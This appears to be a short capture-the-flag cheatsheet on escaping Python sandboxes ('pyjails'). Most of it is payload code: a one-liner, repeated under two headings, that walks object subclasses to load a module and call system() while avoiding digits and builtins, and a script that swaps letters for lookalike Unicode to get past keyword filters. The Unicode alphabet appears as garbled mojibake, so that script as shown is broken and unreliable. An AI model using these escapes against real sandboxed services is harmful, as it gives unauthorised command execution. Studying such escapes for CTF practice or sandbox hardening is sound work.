Pyjails
Function Override
fun_name = lambda x: x
code = f"().__class__.__base__.__subclasses__()['{'-'*104}'.__len__()].load_module(().__class__.__base__.__subclasses__()['{137*'-'}'.__len__()].__module__[:'{'-'*2}'.__len__()]).system(().__class__.__base__.__subclasses__()['{130*'-'}'.__len__()].__name__['{'-'*2}'.__len__():'{'-'*4}'.__len__()])"
No builtins or numbers or globals
code = f"().__class__.__base__.__subclasses__()['{'-'*104}'.__len__()].load_module(().__class__.__base__.__subclasses__()['{137*'-'}'.__len__()].__module__[:'{'-'*2}'.__len__()]).system(().__class__.__base__.__subclasses__()['{130*'-'}'.__len__()].__name__['{'-'*2}'.__len__():'{'-'*4}'.__len__()])"
Unicode supports
import string,sys
fake_alphabet = "๐ ๐ ๐ ๐ก ๐ข ๐ฃ ๐ค ๐ฅ ๐ฆ ๐ง ๐จ ๐ฉ ๐ช ๐ซ ๐ฌ ๐ญ ๐ฎ ๐ฏ ๐ฐ ๐ฑ ๐ฒ ๐ณ ๐ด ๐ต ๐ถ ๐ท".split(" ")
real_alphabet = string.ascii_lowercase
trans = str.maketrans("".join(real_alphabet), "".join(fake_alphabet))
code = sys.argv[1]
converted_code = code.translate(trans)
print(converted_code)
# python3 exploit.py 'print(flag)'"
#๐ญ๐ฏ๐ฆ๐ซ๐ฑ(๐ฃ๐ฉ๐๐ค)
Useful Cheatsheets
Last updated